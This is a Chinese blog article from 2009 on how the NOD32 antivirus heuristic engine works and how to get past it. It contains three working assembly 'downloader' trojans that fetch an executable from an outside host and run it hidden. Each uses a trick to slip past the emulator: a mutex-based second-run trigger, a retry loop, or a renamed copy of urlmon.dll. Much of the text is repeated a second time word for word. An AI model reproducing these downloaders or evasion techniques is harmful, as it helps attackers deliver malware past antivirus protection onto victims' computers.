专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全防护 » nod32:深入剖析Nod32启发机制( 3种方式突破)(图) »正文

nod32:深入剖析Nod32启发机制( 3种方式突破)(图)

来源: 发布时间:星期四, 2009年3月12日 浏览:0次 评论:0
作者:小鱼 
   首先我声明下我很讨厌那些很理论知识所以这篇文章我也是从实战出发来深入剖析nod32启发机制其实说是剖析nod32启发机制但是我也不得不说下主动防御希望这篇文章能给你带来帮助!!!
启发机制是目前杀软主流方向启发机制——直接影响杀毒软件Software文件监控以及文件扫描对于未知病毒防杀以及查杀能力那么说到启发就不得不说下主动防御主动防御目前也是很多杀软主流方向但主动防御虽然固好但是效率等都不如启发想知道为什么就往下看吧
  
     主动防御是基于行为规则判断杀毒软件Software都采用内核级hook杀毒软件Software采用内核级hook来拦截NATIVE API(指就是内核执行体输出),而内核级hook大部分都是采用HOOK SERVICE TABLE(系统服务描述表)大家可以用些内核工具(如IceSword,wSyscheck)查看下
       为了给大家个更直观印象我用IceSword查看了下安装了瑞星杀毒软件Software计算机系统服务描述表情况如下图
=hand src="http://www.crazycoder.cn/WebFiles/20093/36082e86-5314-4212-9780-9367e019e293.jpg" border=0>

 
上面红色显示则为瑞星hookNATIVE API 这些是以ntkrnlpa.exe(双核cpu内核执行体,单核为ntoskrnl.exe)输出接口!!
       般我们都是是用户模式上(Ring 3)些环境子系统输出api而我们平常api其实仅仅只是个外壳而真正实现代码其实是在内核执行体中用户模式仅仅只能访问进程低2GB地址空间而高2GB是操作系统内核空间我们是无法访问这样做是为了确保操作系统稳定性
     平常我们要经历大致如下步骤(以下为自己对于操作系统内核理解来说不敢保证完全正确):
     举例介绍说明: 如SetContextThread:
     SetContextThread ——NTDLL(NtSetContextThread, 通过传递系统服务号,以及中断转到内核)——Windows从系统服务描述表查询传递系统服务号——最终是内核执行体接口NtSetContextThread
   所以般杀毒软件Software只需要修改系统服务描述表对应例程地址则你在这些时候就会转向到它自己定义例程中 这样在这个例程中它就可以进行些操作例如弹出消息框提示用户或者直接结束这个等等)从这里我们可以看到主动防御是基于行为查杀也就是通过行为来进行判断例如般我们注入进程会CreateRemoteThread, SetContextThread 等那么杀毒软件Software则hook这些对应系统原生态则当这些发生些危险动作时候杀毒软件Software主动防御就会提示给用户 如: xxxx进程试图将数据注入到xxx进程中提示框 然后让用户选择结束还是放行这就存在了个问题:那就是很多如果不懂任何计算机安全相关人看到这样提示他就不知道该如何去做了这也是主动防御弊端的处
     那么是不是有主动防御就万事大吉了当然不是它Hook这些那么只要我们木马不这些或者将系统服务描述表它hook全部恢复掉这样主动防御也就等于失效了 这时候任何木马就可以明目张胆侵入你计算机
   而启发式扫描则区别启发式扫描般通过虚拟机代码仿真技术对你文件在个虚拟环境中进行模拟运行这样就可以分析出你行为这样未知病毒行为都暴露出来了这样通过此项技术般都可以发现很多未知病毒和木马
   启发式有弊端例如如果某个木马或者是病毒通过某种方式躲过了启发式扫描则这时候基本杀毒软件Software就废了已经没有任何作用了木马几乎可以横行了这个时候就该考虑要是多个主动防御该多好啊起码还能进行 2次拦截提示用户呵呵
    以上就是启发式和主动防御利和弊至于启发首先效率是相当高不像主动防御Hook大堆NATIVE API 这样只要它hook则必须要经过它自定义例程去处理这样肯定是及其耗系统资源并且如果驱动不是很稳定则总会造成蓝屏等状况   启发则区别拥有效率高耗系统资源少稳定性高等优势所以建议大家选杀毒软件Software如果你配置不是大众化nod32是你选择否则我想你肯定不愿意出现蓝屏等情况吧   还有我想以后大家如果说xxx杀软垃圾xxxx杀软好时候你应该看下此篇文章认识下各个杀毒软件Software机制在评论不迟
下面我们来深入剖析nod32启发机制:

     我还是用简单下载者来进行例子分析这个无关紧要nod32机制是这些思路方法你可以用到任意例如木马或者是病毒上
     启发式我觉得应该归根于文件扫描引擎中所以我们就将其叫做启发式扫描吧那么nod32不仅仅只是启发式扫描并且它也应用了传统特征码匹配技术(特征码匹配技术就是截获病毒样本然后人为进行逆向分析这里为nod32病毒样本分析师帅哥致敬这些帅哥找出这个样本些特殊地方然后将这这些特殊地方作为特征码存放到病毒库中并其个名称, 例如nod32起名规则般为“平台/定义名称,举例 win32/ trojanDownLoader)nod32启发从控制台文件监控选项也能看出来
=hand src="http://www.crazycoder.cn/WebFiles/20093/94e83645-2400-478b-b8bb-5f9b5472a506.jpg" border=0>

 
我们看到它有个高级启发式扫描选项我们勾选这个则扫描引擎在扫描文件时候才会去高级启发式扫描过程所以这个大家定要注意勾选啊o(∩_∩)o... 否则..如果nod32病毒库没有匹配特征码你就over了
   nod32启发比较智能和效率高个原因就是它将分成些特定组合 例如下载马上执行这就是个典型下载者行为所以nod32般会将下载和执行作为下载者依据(当然可能还要做更多判断例如判断这个是否还有其他行为如果仅仅是下载执行那么必是个下载者)
  
     我们做个测试段代码仅仅是下载nod32是不查杀 我们代码如下:
Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
.text
__start:
   xor   esi, esi
   i   URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi
  
   ret
;////////////////////////////////// data ///////////////////////////////
.data
   szUrl db   ’http://www.xyblack.cn/s.exe’, 0
   szPath db   ’c:\1.exe’, 0
   PathSize = $-szPath
.idata
   library   urlmon, ’urmon.dll’
  
      ’api\urlmon.inc’


上述代码编译后nod32不报毒
   但是只要在     i   URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意执行( 如i   WinExec, szPath, SW_HIDE)则nod32报毒
nod32最出色是它会去分析引入表 举个例子例如下载执行大多数都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等所以我们只要引入了Urlmon.dll或kernel32.dll并且只要中使用了URLDownloadToCacheFile 并引入kernel32.dllnod32就会报毒这无疑简化了很多效率但是却有误报啊例如对于些可以构建pe结构编译器编译如果人家引入了kernel32.dll但是功能仅仅是个下载你确报毒这无疑是误报啊
   但是对于nod32这样出色杀毒软件Software它不会判断你引入这些危险就直接将你定义为病毒 这些很多正常也是会 而它会依据虚拟机代码仿真技术重点对你引入这些去重点进行分析分析其行为以及参数等
   那么nod32真这么难突破吗?     那么下面我们就来实战通过两个角度来实战突破nod32启发机制
突破方式角度1:
     nod32是基于虚拟机形式所以第种思路方法是基于虚拟机 实质是思维逻辑判断 nod32通过虚拟机代码仿真那么我在其上面给你段正常代码(注:这个的前大致思路是朋友发现不过下面整个思路和想法是自己所思索)
     举例例如:
     i   GetModuleFileName, esi, ebx, MAX_PATH
  
     i   WinExec, ebx, SW_HIDE
     i   ExitProcess, 0
    
    
   这很正常吧获得自己文件路径运行后就退出 我想nod32引擎在虚拟机分析到这里肯定就已经断定是个正常   尤其是到ExitProcess这个地址处这已经表示这个退出了
     那么大家仔细看,上面是获取自己路径然后运行自己那么我们只要让它在第 2次运行时候去判断自己已经运行过了从而跳转到特定地址去执行这个地址才是我们木马代码   nod32每次分析我们木马由于是初次运行所以我们判断绝对跳转没有实现所以指令只会去执行这几句代码所以迫使nod32认为这就是个正常代码 以此躲过nod32启发

实现代码如下: 
   Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
.text
__start:
   xor   esi, esi
  
   i   CreateEvent, esi, esi,esi, szMutex
  
   i   GetLastError
  
   or   eax, eax
  
   jne   @f
  
   mov   ebx, szName
  
   i   GetModuleFileName, esi, ebx, MAX_PATH
  
   i   WinExec, ebx, SW_HIDE
  
   i   Sleep, 1000
  
   jmp   _end
  
  
@@:
  
   i   URLDownloadToFile, esi, szUrl, szPath, esi, esi
  
   i   WinExec, szPath, SW_SHOW
  
_end:
   i   ExitProcess, 0
  
  
  
  
  
;////////////////////////////////// data ///////////////////////////////
section ’.data’ data readable writeable
szMutex   db   ’woaihaha’,0
szUrl   db   ’http://www.xyblack.cn/s.exe’, 0
szPath   db   ’F:\2.exe’, 0
szName   rb   MAX_PATH
.idata
   library   urlmon, ’urlmon.dll’,\
     kernel32, ’kernel32.dll’
  
      ’api\urlmon.inc’
      ’api\kernel32.inc’


解释:     其实就是加了个创建命名内核空间由于第次运行创建命名内核对象话是创建成功所以我们就是依据这个原理进行了判断如果创建失败话再去执行下载而创建命名内核对象是在 所创建命名内核对象已存在情况下才会失败试问nod32来模拟此指令时候是创建成功所以它会去执行下面获得文件路径然后运行自己退出 在分析到退出时候它已经认为这个是个安全 而我们第 2次运行时候内核对象已经存在了所以创建失败然后会去执行下载执行      
这样轻松简单突破nod32启发机制
突破方式角度2:
   此突破方案还是基于对nod32虚拟机代码模拟思维逻辑 由于nod32是基于虚拟机进行那么我想我精心设计使其是个nod32模拟分析到这里它模拟到这个本就是个我想它肯定不会在再去分析遍这个所以它肯定还是分析下面指令它分析到执行认为这仅仅就是执行文件所以也认为是其安全 呵呵这样也简单突破nod32启发
代码:
Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
.text
__start:
   xor   esi, esi
  
   mov   edi, edi
  
   xor   ebx, ebx
  
   jmp   @f
  
_l1:
   mov   edi, szUrl
  
   mov   ebx, szPath
@@:
   i   URLDownloadToFile, esi, edi, ebx, esi, esi
   or   eax, eax
  
   jne   _l1
  
  
   i   WinExec, szPath, SW_HIDE
  
   i   ExitProcess, 0
  
  
  
  
  
;////////////////////////////////// data ///////////////////////////////
.data
   szUrl db   ’http://www.xyblack.cn/s.exe’, 0
   szPath db   ’c:\1.exe’, 0
  
   PathSize = $-szPath
.idata
   library   urlmon, ’urlmon.dll’,\
     kernel32, ’kernel32.dll’
  
      ’api\urlmon.inc’
      ’api\kernel32.inc’


突破方式角度3:
     此思路方法是基于动态地址获取在我分析过程中我发现nod32对于非系统库dll获取非常不敏感     LoadLibrary 和GetProcAddress组合我想nod32肯定将这个组合也放到特定匹配包里了但是nod32在分析过程中针对LoadLibrary参数进行分析时,如果这个参数指向是非系统dll则nod32不进行重点分析这可能是个用户dll,并且输出接口名样也是有可能可能这时候有人说我自己写个dll然后实现个下载过程然后输出接口你要知道你写dll还是引入了系统dll输出接口所以还是被nod32杀 而咱这个是把个操作系统本身无毒东东换个名字就变成有毒 哈哈
   代码:
Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
section ’.text’ code readable   writeable executable
szText db ’URLDownloadToFileA’, 0
szUrl   db ’http://www.xyblack.cn/bitmap.exe’, 0
szPath db ’c:\1.exe’, 0
szDll   db ’\urlmon.dll’, 0, 0
szNewPath db ’c:\3.dll’,0
szWindowPath rb MAX_PATH
  
__start:
   i   GetDirectory, szWindowPath, MAX_PATH
  
   mov   edi, szWindowPath
  
   repne scasb
   mov   ecx, 4
  
   mov   esi, szDll
  
   rep   movsd
  
   i   CopyFile, szWindowPath, szNewPath, FALSE
  
   i   LoadLibrary, szNewPath
  
   i   GetProcAddress,eax, szText
  
   xor   esi, esi
  
   stdcall eax, esi, szUrl, szPath, esi, esi
  
   i   WinExec,szPath, SW_HIDE
  
   ret
  
  
  
  
;////////////////////////////////// data ///////////////////////////////
.idata
library   kernel32, ’kernel32.dll’
   ’api\kernel32.inc’


     希望此篇文章能引起nod32高度重视,并且希望此篇文章可以帮助到大家深入理解启发机制此文仅用于技术研究如果用此文技术做任何违法事情本人概不负责我想目前网络上应该木有任何篇文章能是本文这样例子进行进行剖析最后祝愿祖国奥运会举办成功!!!!!
 1 2 



实现代码如下: 
   Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
.text
__start:
   xor   esi, esi
  
   i   CreateEvent, esi, esi,esi, szMutex
  
   i   GetLastError
  
   or   eax, eax
  
   jne   @f
  
   mov   ebx, szName
  
   i   GetModuleFileName, esi, ebx, MAX_PATH
  
   i   WinExec, ebx, SW_HIDE
  
   i   Sleep, 1000
  
   jmp   _end
  
  
@@:
  
   i   URLDownloadToFile, esi, szUrl, szPath, esi, esi
  
   i   WinExec, szPath, SW_SHOW
  
_end:
   i   ExitProcess, 0
  
  
  
  
  
;////////////////////////////////// data ///////////////////////////////
section ’.data’ data readable writeable
szMutex   db   ’woaihaha’,0
szUrl   db   ’http://www.xyblack.cn/s.exe’, 0
szPath   db   ’F:\2.exe’, 0
szName   rb   MAX_PATH
.idata
   library   urlmon, ’urlmon.dll’,\
     kernel32, ’kernel32.dll’
  
      ’api\urlmon.inc’
      ’api\kernel32.inc’


解释:     其实就是加了个创建命名内核空间由于第次运行创建命名内核对象话是创建成功所以我们就是依据这个原理进行了判断如果创建失败话再去执行下载而创建命名内核对象是在 所创建命名内核对象已存在情况下才会失败试问nod32来模拟此指令时候是创建成功所以它会去执行下面获得文件路径然后运行自己退出 在分析到退出时候它已经认为这个是个安全 而我们第 2次运行时候内核对象已经存在了所以创建失败然后会去执行下载执行      
这样轻松简单突破nod32启发机制
突破方式角度2:
   此突破方案还是基于对nod32虚拟机代码模拟思维逻辑 由于nod32是基于虚拟机进行那么我想我精心设计使其是个nod32模拟分析到这里它模拟到这个本就是个我想它肯定不会在再去分析遍这个所以它肯定还是分析下面指令它分析到执行认为这仅仅就是执行文件所以也认为是其安全 呵呵这样也简单突破nod32启发
代码:
Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
.text
__start:
   xor   esi, esi
  
   mov   edi, edi
  
   xor   ebx, ebx
  
   jmp   @f
  
_l1:
   mov   edi, szUrl
  
   mov   ebx, szPath
@@:
   i   URLDownloadToFile, esi, edi, ebx, esi, esi
   or   eax, eax
  
   jne   _l1
  
  
   i   WinExec, szPath, SW_HIDE
  
   i   ExitProcess, 0
  
  
  
  
  
;////////////////////////////////// data ///////////////////////////////
.data
   szUrl db   ’http://www.xyblack.cn/s.exe’, 0
   szPath db   ’c:\1.exe’, 0
  
   PathSize = $-szPath
.idata
   library   urlmon, ’urlmon.dll’,\
     kernel32, ’kernel32.dll’
  
      ’api\urlmon.inc’
      ’api\kernel32.inc’


突破方式角度3:
     此思路方法是基于动态地址获取在我分析过程中我发现nod32对于非系统库dll获取非常不敏感     LoadLibrary 和GetProcAddress组合我想nod32肯定将这个组合也放到特定匹配包里了但是nod32在分析过程中针对LoadLibrary参数进行分析时,如果这个参数指向是非系统dll则nod32不进行重点分析这可能是个用户dll,并且输出接口名样也是有可能可能这时候有人说我自己写个dll然后实现个下载过程然后输出接口你要知道你写dll还是引入了系统dll输出接口所以还是被nod32杀 而咱这个是把个操作系统本身无毒东东换个名字就变成有毒 哈哈
   代码:
Code:

format PE GUI 4.0 \
on ’%%\stub.txt’
entry __start
’win32ax.inc’
section ’.text’ code readable   writeable executable
szText db ’URLDownloadToFileA’, 0
szUrl   db ’http://www.xyblack.cn/bitmap.exe’, 0
szPath db ’c:\1.exe’, 0
szDll   db ’\urlmon.dll’, 0, 0
szNewPath db ’c:\3.dll’,0
szWindowPath rb MAX_PATH
  
__start:
   i   GetDirectory, szWindowPath, MAX_PATH
  
   mov   edi, szWindowPath
  
   repne scasb
   mov   ecx, 4
  
   mov   esi, szDll
  
   rep   movsd
  
   i   CopyFile, szWindowPath, szNewPath, FALSE
  
   i   LoadLibrary, szNewPath
  
   i   GetProcAddress,eax, szText
  
   xor   esi, esi
  
   stdcall eax, esi, szUrl, szPath, esi, esi
  
   i   WinExec,szPath, SW_HIDE
  
   ret
  
  
  
  
;////////////////////////////////// data ///////////////////////////////
.idata
library   kernel32, ’kernel32.dll’
   ’api\kernel32.inc’


     希望此篇文章能引起nod32高度重视,并且希望此篇文章可以帮助到大家深入理解启发机制此文仅用于技术研究如果用此文技术做任何违法事情本人概不负责我想目前网络上应该木有任何篇文章能是本文这样例子进行进行剖析最后祝愿祖国奥运会举办成功!!!!!
 1 2 


0

相关文章

读者评论

发表评论

  • 昵称:
  • 内容: